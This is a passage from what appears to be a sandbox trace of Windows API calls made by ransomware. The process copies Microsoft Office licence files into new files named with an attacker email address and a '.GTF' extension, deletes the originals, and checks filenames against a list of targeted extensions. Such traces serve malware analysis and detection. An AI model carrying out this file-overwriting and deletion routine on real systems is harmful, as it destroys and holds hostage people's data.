	[0179.681] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.681] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0179.682] GetLastError () returned 0x0
	[0179.682] ReadFile (in: hFile=0x428, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x2baf, lpOverlapped=0x0) returned 1
	[0179.716] WriteFile (in: hFile=0x45c, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x2bb0, lpOverlapped=0x0) returned 1
	[0179.717] ReadFile (in: hFile=0x428, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0179.717] WriteFile (in: hFile=0x45c, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x116, lpOverlapped=0x0) returned 1
	[0179.717] SetEndOfFile (hFile=0x45c) returned 1
	[0179.718] CloseHandle (hObject=0x45c) returned 1
	[0179.718] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.718] SetEndOfFile (hFile=0x428) returned 1
	[0179.727] CloseHandle (hObject=0x428) returned 1
	[0179.727] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0179.730] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-pl.xrm-ms")) returned 1
	[0179.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms") returned 83
	[0179.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms") returned 83
	[0179.737] lstrlenW (lpString=".doc") returned 4
	[0179.737] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.737] lstrlenW (lpString=".docx") returned 5
	[0179.737] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.737] lstrlenW (lpString=".pdf") returned 4
	[0179.737] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.737] lstrlenW (lpString=".xls") returned 4
	[0179.737] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.737] lstrlenW (lpString=".xlsx") returned 5
	[0179.737] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.737] lstrlenW (lpString=".ppt") returned 4
	[0179.737] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms") returned 83
	[0179.737] lstrlenW (lpString=".zip") returned 4
	[0179.737] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.737] lstrlenW (lpString=".rar") returned 4
	[0179.737] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.737] lstrlenW (lpString=".bz2") returned 4
	[0179.737] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.737] lstrlenW (lpString=".7z") returned 3
	[0179.738] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms") returned 83
	[0179.738] lstrlenW (lpString=".dbf") returned 4
	[0179.738] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms") returned 83
	[0179.738] lstrlenW (lpString=".1cd") returned 4
	[0179.738] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms") returned 83
	[0179.738] lstrlenW (lpString=".jpg") returned 4
	[0179.738] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms") returned 83
	[0179.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms") returned 83
	[0179.738] lstrlenW (lpString=".doc") returned 4
	[0179.738] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.738] lstrlenW (lpString=".docx") returned 5
	[0179.738] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.738] lstrlenW (lpString=".pdf") returned 4
	[0179.738] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.738] lstrlenW (lpString=".xls") returned 4
	[0179.738] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.738] lstrlenW (lpString=".xlsx") returned 5
	[0179.738] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.738] lstrlenW (lpString=".ppt") returned 4
	[0179.738] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms") returned 83
	[0179.738] lstrlenW (lpString=".zip") returned 4
	[0179.738] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.738] lstrlenW (lpString=".rar") returned 4
	[0179.738] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.738] lstrlenW (lpString=".bz2") returned 4
	[0179.738] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.738] lstrlenW (lpString=".7z") returned 3
	[0179.738] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms") returned 83
	[0179.738] lstrlenW (lpString=".dbf") returned 4
	[0179.739] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms") returned 83
	[0179.739] lstrlenW (lpString=".1cd") returned 4
	[0179.739] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms") returned 83
	[0179.739] lstrlenW (lpString=".jpg") returned 4
	[0179.739] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.739] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0179.739] lstrlenW (lpString="O365HomePremR_SubTrial2-pl.xrm-ms") returned 33
	[0179.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568
	[0179.999] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=11183) returned 1
	[0179.999] CloseHandle (hObject=0x568) returned 1
	[0179.999] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-pl.xrm-ms")) returned 0x220
	[0180.014] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0180.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568
	[0180.014] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.014] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0180.015] GetLastError () returned 0x0
	[0180.015] ReadFile (in: hFile=0x568, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x2baf, lpOverlapped=0x0) returned 1
	[0180.017] WriteFile (in: hFile=0x504, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x2bb0, lpOverlapped=0x0) returned 1
	[0180.022] ReadFile (in: hFile=0x568, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.022] WriteFile (in: hFile=0x504, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x116, lpOverlapped=0x0) returned 1
	[0180.022] SetEndOfFile (hFile=0x504) returned 1
	[0180.022] CloseHandle (hObject=0x504) returned 1
	[0180.023] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.023] SetEndOfFile (hFile=0x568) returned 1
	[0180.025] CloseHandle (hObject=0x568) returned 1
	[0180.025] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0180.026] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-pl.xrm-ms")) returned 1
	[0180.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms") returned 83
	[0180.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms") returned 83
	[0180.026] lstrlenW (lpString=".doc") returned 4
	[0180.026] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0180.026] lstrlenW (lpString=".docx") returned 5
	[0180.027] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0180.027] lstrlenW (lpString=".pdf") returned 4
	[0180.027] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0180.027] lstrlenW (lpString=".xls") returned 4
	[0180.027] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0180.027] lstrlenW (lpString=".xlsx") returned 5
	[0180.027] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0180.027] lstrlenW (lpString=".ppt") returned 4
	[0180.027] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0180.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms") returned 83
	[0180.027] lstrlenW (lpString=".zip") returned 4
	[0180.027] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0180.027] lstrlenW (lpString=".rar") returned 4
	[0180.027] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0180.027] lstrlenW (lpString=".bz2") returned 4
	[0180.027] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0180.027] lstrlenW (lpString=".7z") returned 3
	[0180.027] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0180.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms") returned 83
	[0180.027] lstrlenW (lpString=".dbf") returned 4
	[0180.027] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0180.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms") returned 83
	[0180.027] lstrlenW (lpString=".1cd") returned 4
	[0180.027] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0180.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms") returned 83
	[0180.027] lstrlenW (lpString=".jpg") returned 4
	[0180.027] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0180.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms") returned 83
	[0180.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms") returned 83
	[0180.027] lstrlenW (lpString=".doc") returned 4
	[0180.027] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0180.027] lstrlenW (lpString=".docx") returned 5
	[0180.027] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0180.027] lstrlenW (lpString=".pdf") returned 4
	[0180.027] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0180.027] lstrlenW (lpString=".xls") returned 4
	[0180.028] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0180.028] lstrlenW (lpString=".xlsx") returned 5
	[0180.028] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0180.028] lstrlenW (lpString=".ppt") returned 4
	[0180.028] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0180.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms") returned 83
	[0180.028] lstrlenW (lpString=".zip") returned 4
	[0180.028] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0180.028] lstrlenW (lpString=".rar") returned 4
	[0180.028] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0180.028] lstrlenW (lpString=".bz2") returned 4
	[0180.028] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0180.028] lstrlenW (lpString=".7z") returned 3
	[0180.028] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0180.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms") returned 83
	[0180.028] lstrlenW (lpString=".dbf") returned 4
	[0180.028] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0180.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms") returned 83
	[0180.028] lstrlenW (lpString=".1cd") returned 4
	[0180.028] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0180.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms") returned 83
	[0180.028] lstrlenW (lpString=".jpg") returned 4
	[0180.028] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0180.028] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0180.028] lstrlenW (lpString="O365HomePremR_SubTrial3-pl.xrm-ms") returned 33
	[0180.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568
	[0180.029] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=11183) returned 1
	[0180.029] CloseHandle (hObject=0x568) returned 1
	[0180.029] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-pl.xrm-ms")) returned 0x220
	[0180.029] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0180.029] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568
	[0180.030] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.030] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0180.030] GetLastError () returned 0x0
	[0180.030] ReadFile (in: hFile=0x568, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x2baf, lpOverlapped=0x0) returned 1
	[0180.165] WriteFile (in: hFile=0x504, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x2bb0, lpOverlapped=0x0) returned 1
	[0180.166] ReadFile (in: hFile=0x568, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.166] WriteFile (in: hFile=0x504, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x116, lpOverlapped=0x0) returned 1
	[0180.167] SetEndOfFile (hFile=0x504) returned 1
	[0180.167] CloseHandle (hObject=0x504) returned 1
	[0180.167] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.167] SetEndOfFile (hFile=0x568) returned 1
	[0180.171] CloseHandle (hObject=0x568) returned 1
	[0180.171] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0180.171] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-pl.xrm-ms")) returned 1
	[0180.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms") returned 83
	[0180.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms") returned 83
	[0180.172] lstrlenW (lpString=".doc") returned 4
	[0180.172] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0180.172] lstrlenW (lpString=".docx") returned 5
	[0180.172] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0180.172] lstrlenW (lpString=".pdf") returned 4
	[0180.172] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0180.172] lstrlenW (lpString=".xls") returned 4
	[0180.172] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0180.172] lstrlenW (lpString=".xlsx") returned 5
	[0180.172] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0180.172] lstrlenW (lpString=".ppt") returned 4
	[0180.172] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0180.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms") returned 83
	[0180.172] lstrlenW (lpString=".zip") returned 4
	[0180.172] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0180.172] lstrlenW (lpString=".rar") returned 4
	[0180.172] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0180.173] lstrlenW (lpString=".bz2") returned 4
	[0180.173] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0180.173] lstrlenW (lpString=".7z") returned 3
	[0180.173] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0180.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms") returned 83
	[0180.173] lstrlenW (lpString=".dbf") returned 4
	[0180.173] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0180.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms") returned 83
	[0180.173] lstrlenW (lpString=".1cd") returned 4
	[0180.173] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0180.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms") returned 83
	[0180.173] lstrlenW (lpString=".jpg") returned 4
	[0180.173] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0180.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms") returned 83
	[0180.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms") returned 83
	[0180.173] lstrlenW (lpString=".doc") returned 4
	[0180.173] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0180.173] lstrlenW (lpString=".docx") returned 5
	[0180.173] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0180.173] lstrlenW (lpString=".pdf") returned 4
	[0180.173] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0180.173] lstrlenW (lpString=".xls") returned 4
	[0180.173] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0180.174] lstrlenW (lpString=".xlsx") returned 5
	[0180.174] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0180.174] lstrlenW (lpString=".ppt") returned 4
	[0180.174] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0180.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms") returned 83
	[0180.174] lstrlenW (lpString=".zip") returned 4
	[0180.174] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0180.174] lstrlenW (lpString=".rar") returned 4
	[0180.174] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0180.174] lstrlenW (lpString=".bz2") returned 4
	[0180.174] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0180.174] lstrlenW (lpString=".7z") returned 3
	[0180.174] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0180.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms") returned 83
	[0180.174] lstrlenW (lpString=".dbf") returned 4
	[0180.174] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0180.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms") returned 83
	[0180.174] lstrlenW (lpString=".1cd") returned 4
	[0180.174] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0180.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms") returned 83
	[0180.174] lstrlenW (lpString=".jpg") returned 4
	[0180.174] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0180.174] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0180.174] lstrlenW (lpString="O365HomePremR_SubTrial4-ul-oob.xrm-ms") returned 37
